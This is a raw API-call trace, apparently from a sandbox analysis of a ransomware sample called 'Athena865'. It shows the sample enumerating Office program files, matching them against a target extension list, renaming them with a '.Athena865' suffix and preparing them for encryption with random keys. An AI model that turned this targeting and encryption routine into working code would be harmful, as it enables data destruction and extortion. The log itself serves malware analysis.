lstrlenW (lpString="usr") returned 3 [0075.462] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0075.462] lstrlenW (lpString="v12") returned 3 [0075.462] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0075.462] lstrlenW (lpString="vis") returned 3 [0075.462] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0075.462] lstrlenW (lpString="vpd") returned 3 [0075.462] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0075.462] lstrlenW (lpString="vvv") returned 3 [0075.463] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0075.463] lstrlenW (lpString="wdb") returned 3 [0075.463] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0075.463] lstrlenW (lpString="wmdb") returned 4 [0075.463] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0075.463] lstrlenW (lpString="wrk") returned 3 [0075.463] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0075.463] lstrlenW (lpString="xdb") returned 3 [0075.463] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0075.463] lstrlenW (lpString="xld") returned 3 [0075.463] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0075.463] lstrlenW (lpString="xmlff") returned 5 [0075.463] lstrcmpiW (lpString1="T.DLL", lpString2="xmlff") returned -1 [0075.463] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MPXINT.DLL.Athena865") returned 63 [0075.463] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MPXINT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mpxint.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MPXINT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mpxint.dll.athena865"), dwFlags=0x1) returned 1 [0075.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MPXINT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mpxint.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.464] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=207200) returned 1 [0075.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.465] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.465] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.465] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.465] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x32c60, lpName=0x0) returned 0x17c [0075.467] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x32c60) returned 0x170000 [0075.477] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.477] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.477] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.477] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.477] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.478] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0075.480] CloseHandle (hObject=0x17c) returned 1 [0075.480] CloseHandle (hObject=0x154) returned 1 [0075.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.481] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaca1de00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaca1de00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0xa5580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSACC.OLB", cAlternateFileName="")) returned 1 [0075.481] lstrcmpiW (lpString1="MSACC.OLB", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.481] lstrcmpiW (lpString1="MSACC.OLB", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.481] lstrcmpiW (lpString1="MSACC.OLB", lpString2=".") returned 1 [0075.481] lstrcmpiW (lpString1="MSACC.OLB", lpString2="..") returned 1 [0075.481] lstrcmpiW (lpString1="MSACC.OLB", lpString2="windows") returned -1 [0075.481] lstrcmpiW (lpString1="MSACC.OLB", lpString2="bootmgr") returned 1 [0075.481] lstrcmpiW (lpString1="MSACC.OLB", lpString2="temp") returned -1 [0075.481] lstrcmpiW (lpString1="MSACC.OLB", lpString2="pagefile.sys") returned -1 [0075.481] lstrcmpiW (lpString1="MSACC.OLB", lpString2="boot") returned 1 [0075.481] lstrcmpiW (lpString1="MSACC.OLB", lpString2="ids.txt") returned 1 [0075.481] lstrcmpiW (lpString1="MSACC.OLB", lpString2="ntuser.dat") returned -1 [0075.481] lstrcmpiW (lpString1="MSACC.OLB", lpString2="perflogs") returned -1 [0075.482] lstrcmpiW (lpString1="MSACC.OLB", lpString2="MSBuild") returned -1 [0075.482] lstrlenW (lpString="MSACC.OLB") returned 9 [0075.482] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSACC.OLB" | out: lpString1="MSACC.OLB") returned="MSACC.OLB" [0075.482] lstrlenW (lpString="MSACC.OLB") returned 9 [0075.482] lstrlenW (lpString="Athena865") returned 9 [0075.482] lstrlenW (lpString=".dll") returned 4 [0075.482] lstrcmpiW (lpString1="MSACC.OLB", lpString2=".dll") returned 1 [0075.482] lstrlenW (lpString=".lnk") returned 4 [0075.482] lstrcmpiW (lpString1="MSACC.OLB", lpString2=".lnk") returned 1 [0075.482] lstrlenW (lpString=".ini") returned 4 [0075.482] lstrcmpiW (lpString1="MSACC.OLB", lpString2=".ini") returned 1 [0075.482] lstrlenW (lpString=".sys") returned 4 [0075.482] lstrcmpiW (lpString1="MSACC.OLB", lpString2=".sys") returned 1 [0075.482] lstrlenW (lpString="MSACC.OLB") returned 9 [0075.482] lstrlenW (lpString="bak") returned 3 [0075.482] lstrcmpiW (lpString1="OLB", lpString2="bak") returned 1 [0075.482] lstrlenW (lpString="ba_") returned 3 [0075.482] lstrcmpiW (lpString1="OLB", lpString2="ba_") returned 1 [0075.482] lstrlenW (lpString="dbb") returned 3 [0075.482] lstrcmpiW (lpString1="OLB", lpString2="dbb") returned 1 [0075.482] lstrlenW (lpString="vmdk") returned 4 [0075.482] lstrcmpiW (lpString1=".OLB", lpString2="vmdk") returned -1 [0075.482] lstrlenW (lpString="rar") returned 3 [0075.482] lstrcmpiW (lpString1="OLB", lpString2="rar") returned -1 [0075.482] lstrlenW (lpString="zip") returned 3 [0075.482] lstrcmpiW (lpString1="OLB", lpString2="zip") returned -1 [0075.482] lstrlenW (lpString="tgz") returned 3 [0075.482] lstrcmpiW (lpString1="OLB", lpString2="tgz") returned -1 [0075.482] lstrlenW (lpString="vbox") returned 4 [0075.482] lstrcmpiW (lpString1=".OLB", lpString2="vbox") returned -1 [0075.482] lstrlenW (lpString="vdi") returned 3 [0075.483] lstrcmpiW (lpString1="OLB", lpString2="vdi") returned -1 [0075.483] lstrlenW (lpString="vhd") returned 3 [0075.483] lstrcmpiW (lpString1="OLB", lpString2="vhd") returned -1 [0075.483] lstrlenW (lpString="vhdx") returned 4 [0075.483] lstrcmpiW (lpString1=".OLB", lpString2="vhdx") returned -1 [0075.483] lstrlenW (lpString="avhd") returned 4 [0075.483] lstrcmpiW (lpString1=".OLB", lpString2="avhd") returned -1 [0075.483] lstrlenW (lpString="db") returned 2 [0075.483] lstrcmpiW (lpString1="LB", lpString2="db") returned 1 [0075.483] lstrlenW (lpString="db2") returned 3 [0075.483] lstrcmpiW (lpString1="OLB", lpString2="db2") returned 1 [0075.483] lstrlenW (lpString="db3") returned 3 [0075.483] lstrcmpiW (lpString1="OLB", lpString2="db3") returned 1 [0075.483] lstrlenW (lpString="dbf") returned 3 [0075.483] lstrcmpiW (lpString1="OLB", lpString2="dbf") returned 1 [0075.483] lstrlenW (lpString="mdf") returned 3 [0075.483] lstrcmpiW (lpString1="OLB", lpString2="mdf") returned 1 [0075.483] lstrlenW (lpString="mdb") returned 3 [0075.483] lstrcmpiW (lpString1="OLB", lpString2="mdb") returned 1 [0075.483] lstrlenW (lpString="sql") returned 3 [0075.483] lstrcmpiW (lpString1="OLB", lpString2="sql") returned -1 [0075.483] lstrlenW (lpString="sqlite") returned 6 [0075.483] lstrcmpiW (lpString1="CC.OLB", lpString2="sqlite") returned -1 [0075.483] lstrlenW (lpString="sqlite3") returned 7 [0075.483] lstrcmpiW (lpString1="ACC.OLB", lpString2="sqlite3") returned -1 [0075.483] lstrlenW (lpString="sqlitedb") returned 8 [0075.483] lstrcmpiW (lpString1="SACC.OLB", lpString2="sqlitedb") returned -1 [0075.483] lstrlenW (lpString="xml") returned 3 [0075.483] lstrcmpiW (lpString1="OLB", lpString2="xml") returned -1 [0075.483] lstrlenW (lpString="$er") returned 3 [0075.483] lstrcmpiW (lpString1="OLB", lpString2="$er") returned 1 [0075.483] lstrlenW (lpString="4dd") returned 3 [0075.483] lstrcmpiW (lpString1="OLB", lpString2="4dd") returned 1 [0075.484] lstrlenW (lpString="4dl") returned 3 [0075.484] lstrcmpiW (lpString1="OLB", lpString2="4dl") returned 1 [0075.484] lstrlenW (lpString="^^^") returned 3 [0075.484] lstrcmpiW (lpString1="OLB", lpString2="^^^") returned 1 [0075.484] lstrlenW (lpString="abs") returned 3 [0075.484] lstrcmpiW (lpString1="OLB", lpString2="abs") returned 1 [0075.484] lstrlenW (lpString="abx") returned 3 [0075.484] lstrcmpiW (lpString1="OLB", lpString2="abx") returned 1 [0075.484] lstrlenW (lpString="accdb") returned 5 [0075.484] lstrcmpiW (lpString1="C.OLB", lpString2="accdb") returned 1 [0075.484] lstrlenW (lpString="accdc") returned 5 [0075.484] lstrcmpiW (lpString1="C.OLB", lpString2="accdc") returned 1 [0075.484] lstrlenW (lpString="accde") returned 5 [0075.484] lstrcmpiW (lpString1="C.OLB", lpString2="accde") returned 1 [0075.484] lstrlenW (lpString="accdr") returned 5 [0075.484] lstrcmpiW (lpString1="C.OLB", lpString2="accdr") returned 1 [0075.484] lstrlenW (lpString="accdt") returned 5 [0075.484] lstrcmpiW (lpString1="C.OLB", lpString2="accdt") returned 1 [0075.484] lstrlenW (lpString="accdw") returned 5 [0075.484] lstrcmpiW (lpString1="C.OLB", lpString2="accdw") returned 1 [0075.484] lstrlenW (lpString="accft") returned 5 [0075.484] lstrcmpiW (lpString1="C.OLB", lpString2="accft") returned 1 [0075.484] lstrlenW (lpString="adb") returned 3 [0075.484] lstrcmpiW (lpString1="OLB", lpString2="adb") returned 1 [0075.484] lstrlenW (lpString="adb") returned 3 [0075.484] lstrcmpiW (lpString1="OLB", lpString2="adb") returned 1 [0075.484] lstrlenW (lpString="ade") returned 3 [0075.484] lstrcmpiW (lpString1="OLB", lpString2="ade") returned 1 [0075.484] lstrlenW (lpString="adf") returned 3 [0075.484] lstrcmpiW (lpString1="OLB", lpString2="adf") returned 1 [0075.484] lstrlenW (lpString="adn") returned 3 [0075.484] lstrcmpiW (lpString1="OLB", lpString2="adn") returned 1 [0075.484] lstrlenW (lpString="adp") returned 3 [0075.485] lstrcmpiW (lpString1="OLB", lpString2="adp") returned 1 [0075.485] lstrlenW (lpString="alf") returned 3 [0075.485] lstrcmpiW (lpString1="OLB", lpString2="alf") returned 1 [0075.485] lstrlenW (lpString="ask") returned 3 [0075.485] lstrcmpiW (lpString1="OLB", lpString2="ask") returned 1 [0075.485] lstrlenW (lpString="btr") returned 3 [0075.485] lstrcmpiW (lpString1="OLB", lpString2="btr") returned 1 [0075.485] lstrlenW (lpString="cat") returned 3 [0075.485] lstrcmpiW (lpString1="OLB", lpString2="cat") returned 1 [0075.485] lstrlenW (lpString="cdb") returned 3 [0075.485] lstrcmpiW (lpString1="OLB", lpString2="cdb") returned 1 [0075.485] lstrlenW (lpString="ckp") returned 3 [0075.485] lstrcmpiW (lpString1="OLB", lpString2="ckp") returned 1 [0075.485] lstrlenW (lpString="cma") returned 3 [0075.485] lstrcmpiW (lpString1="OLB", lpString2="cma") returned 1 [0075.485] lstrlenW (lpString="cpd") returned 3 [0075.485] lstrcmpiW (lpString1="OLB", lpString2="cpd") returned 1 [0075.485] lstrlenW (lpString="dacpac") returned 6 [0075.485] lstrcmpiW (lpString1="CC.OLB", lpString2="dacpac") returned -1 [0075.485] lstrlenW (lpString="dad") returned 3 [0075.485] lstrcmpiW (lpString1="OLB", lpString2="dad") returned 1 [0075.485] lstrlenW (lpString="dadiagrams") returned 10 [0075.485] lstrlenW (lpString="daschema") returned 8 [0075.485] lstrcmpiW (lpString1="SACC.OLB", lpString2="daschema") returned 1 [0075.485] lstrlenW (lpString="db-journal") returned 10 [0075.485] lstrlenW (lpString="db-shm") returned 6 [0075.485] lstrcmpiW (lpString1="CC.OLB", lpString2="db-shm") returned -1 [0075.485] lstrlenW (lpString="db-wal") returned 6 [0075.485] lstrcmpiW (lpString1="CC.OLB", lpString2="db-wal") returned -1 [0075.485] lstrlenW (lpString="dbc") returned 3 [0075.485] lstrcmpiW (lpString1="OLB", lpString2="dbc") returned 1 [0075.485] lstrlenW (lpString="dbs") returned 3 [0075.485] lstrcmpiW (lpString1="OLB", lpString2="dbs") returned 1 [0075.486] lstrlenW (lpString="dbt") returned 3 [0075.486] lstrcmpiW (lpString1="OLB", lpString2="dbt") returned 1 [0075.486] lstrlenW (lpString="dbv") returned 3 [0075.486] lstrcmpiW (lpString1="OLB", lpString2="dbv") returned 1 [0075.486] lstrlenW (lpString="dbx") returned 3 [0075.486] lstrcmpiW (lpString1="OLB", lpString2="dbx") returned 1 [0075.486] lstrlenW (lpString="dcb") returned 3 [0075.486] lstrcmpiW (lpString1="OLB", lpString2="dcb") returned 1 [0075.486] lstrcmpiW (lpString1="OLB", lpString2="dct") returned 1 [0075.486] lstrcmpiW (lpString1="OLB", lpString2="dcx") returned 1 [0075.486] lstrcmpiW (lpString1="OLB", lpString2="ddl") returned 1 [0075.486] lstrcmpiW (lpString1=".OLB", lpString2="dlis") returned -1 [0075.486] lstrcmpiW (lpString1="OLB", lpString2="dp1") returned 1 [0075.486] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSACC.OLB.Athena865") returned 62 [0075.486] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSACC.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msacc.olb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSACC.OLB.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msacc.olb.athena865"), dwFlags=0x1) returned 1 [0075.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSACC.OLB.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msacc.olb.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.487] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=677248) returned 1 [0075.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.488] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.488] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.488] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.488] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.489] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa5880, lpName=0x0) returned 0x17c [0075.490] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa5880) returned 0x2d50000 [0075.524] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.524] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.524] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.525] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0075.531] CloseHandle (hObject=0x17c) returned 1 [0075.531] CloseHandle (hObject=0x154) returned 1 [0075.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.534] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fbe00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5fbe00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x132cb60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSACCESS.EXE", cAlternateFileName="")) returned 1 [0075.534] lstrcmpiW (lpString1="MSACCESS.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.534] lstrcmpiW (lpString1="MSACCESS.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.534] lstrcmpiW (lpString1="MSACCESS.EXE", lpString2=".") returned 1 [0075.534] lstrcmpiW (lpString1="MSACCESS.EXE", lpString2="..") returned 1 [0075.534] lstrcmpiW (lpString1="MSACCESS.EXE", lpString2="windows") returned -1 [0075.534] lstrcmpiW (lpString1="MSACCESS.EXE", lpString2="bootmgr") returned 1 [0075.534] lstrcmpiW (lpString1="MSACCESS.EXE", lpString2="temp") returned -1 [0075.534] lstrcmpiW (lpString1="MSACCESS.EXE", lpString2="pagefile.sys") returned -1 [0075.534] lstrcmpiW (lpString1="MSACCESS.EXE", lpString2="boot") returned 1 [0075.534] lstrcmpiW (lpString1="MSACCESS.EXE", lpString2="ids.txt") returned 1 [0075.534] lstrcmpiW (lpString1="MSACCESS.EXE", lpString2="ntuser.dat") returned -1 [0075.534] lstrcmpiW (lpString1="MSACCESS.EXE", lpString2="perflogs") returned -1 [0075.534] lstrcmpiW (lpString1="MSACCESS.EXE", lpString2="MSBuild") returned -1 [0075.534] lstrlenW (lpString="MSACCESS.EXE") returned 12 [0075.534] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSACCESS.EXE" | out: lpString1="MSACCESS.EXE") returned="MSACCESS.EXE" [0075.535] lstrlenW (lpString="MSACCESS.EXE") returned 12 [0075.535] lstrlenW (lpString="Athena865") returned 9 [0075.535] lstrcmpiW (lpString1="CCESS.EXE", lpString2="Athena865") returned 1 [0075.535] lstrlenW (lpString=".dll") returned 4 [0075.535] lstrcmpiW (lpString1="MSACCESS.EXE", lpString2=".dll") returned 1 [0075.535] lstrlenW (lpString=".lnk") returned 4 [0075.535] lstrcmpiW (lpString1="MSACCESS.EXE", lpString2=".lnk") returned 1 [0075.535] lstrlenW (lpString=".ini") returned 4 [0075.535] lstrcmpiW (lpString1="MSACCESS.EXE", lpString2=".ini") returned 1 [0075.535] lstrlenW (lpString=".sys") returned 4 [0075.535] lstrcmpiW (lpString1="MSACCESS.EXE", lpString2=".sys") returned 1 [0075.535] lstrlenW (lpString="MSACCESS.EXE") returned 12 [0075.535] lstrlenW (lpString="bak") returned 3 [0075.535] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0075.535] lstrlenW (lpString="ba_") returned 3 [0075.535] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0075.535] lstrlenW (lpString="dbb") returned 3 [0075.535] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0075.535] lstrlenW (lpString="vmdk") returned 4 [0075.535] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0075.535] lstrlenW (lpString="rar") returned 3 [0075.535] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0075.535] lstrlenW (lpString="zip") returned 3 [0075.535] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0075.535] lstrlenW (lpString="tgz") returned 3 [0075.535] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0075.535] lstrlenW (lpString="vbox") returned 4 [0075.535] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0075.535] lstrlenW (lpString="vdi") returned 3 [0075.535] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0075.535] lstrlenW (lpString="vhd") returned 3 [0075.535] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0075.535] lstrlenW (lpString="vhdx") returned 4 [0075.536] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0075.536] lstrlenW (lpString="avhd") returned 4 [0075.536] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0075.536] lstrlenW (lpString="db") returned 2 [0075.536] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0075.536] lstrlenW (lpString="db2") returned 3 [0075.536] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0075.536] lstrlenW (lpString="db3") returned 3 [0075.536] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0075.536] lstrlenW (lpString="dbf") returned 3 [0075.536] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0075.536] lstrlenW (lpString="mdf") returned 3 [0075.536] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0075.536] lstrlenW (lpString="mdb") returned 3 [0075.536] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0075.536] lstrlenW (lpString="sql") returned 3 [0075.536] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0075.536] lstrlenW (lpString="sqlite") returned 6 [0075.536] lstrcmpiW (lpString1="SS.EXE", lpString2="sqlite") returned 1 [0075.536] lstrlenW (lpString="sqlite3") returned 7 [0075.536] lstrcmpiW (lpString1="ESS.EXE", lpString2="sqlite3") returned -1 [0075.536] lstrlenW (lpString="sqlitedb") returned 8 [0075.536] lstrcmpiW (lpString1="CESS.EXE", lpString2="sqlitedb") returned -1 [0075.536] lstrlenW (lpString="xml") returned 3 [0075.536] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0075.536] lstrlenW (lpString="$er") returned 3 [0075.536] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0075.536] lstrlenW (lpString="4dd") returned 3 [0075.536] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0075.536] lstrlenW (lpString="4dl") returned 3 [0075.536] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0075.536] lstrlenW (lpString="^^^") returned 3 [0075.536] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0075.537] lstrlenW (lpString="abs") returned 3 [0075.537] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0075.537] lstrlenW (lpString="abx") returned 3 [0075.537] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0075.537] lstrlenW (lpString="accdb") returned 5 [0075.537] lstrcmpiW (lpString1="S.EXE", lpString2="accdb") returned 1 [0075.537] lstrlenW (lpString="accdc") returned 5 [0075.537] lstrcmpiW (lpString1="S.EXE", lpString2="accdc") returned 1 [0075.537] lstrlenW (lpString="accde") returned 5 [0075.537] lstrcmpiW (lpString1="S.EXE", lpString2="accde") returned 1 [0075.537] lstrlenW (lpString="accdr") returned 5 [0075.537] lstrcmpiW (lpString1="S.EXE", lpString2="accdr") returned 1 [0075.537] lstrlenW (lpString="accdt") returned 5 [0075.537] lstrcmpiW (lpString1="S.EXE", lpString2="accdt") returned 1 [0075.537] lstrlenW (lpString="accdw") returned 5 [0075.537] lstrcmpiW (lpString1="S.EXE", lpString2="accdw") returned 1 [0075.537] lstrlenW (lpString="accft") returned 5 [0075.537] lstrcmpiW (lpString1="S.EXE", lpString2="accft") returned 1 [0075.537] lstrlenW (lpString="adb") returned 3 [0075.537] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0075.537] lstrlenW (lpString="adb") returned 3 [0075.537] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0075.537] lstrlenW (lpString="ade") returned 3 [0075.537] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0075.537] lstrlenW (lpString="adf") returned 3 [0075.537] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0075.537] lstrlenW (lpString="adn") returned 3 [0075.537] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0075.537] lstrlenW (lpString="adp") returned 3 [0075.537] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0075.537] lstrlenW (lpString="alf") returned 3 [0075.538] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0075.538] lstrlenW (lpString="ask") returned 3 [0075.538] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0075.538] lstrlenW 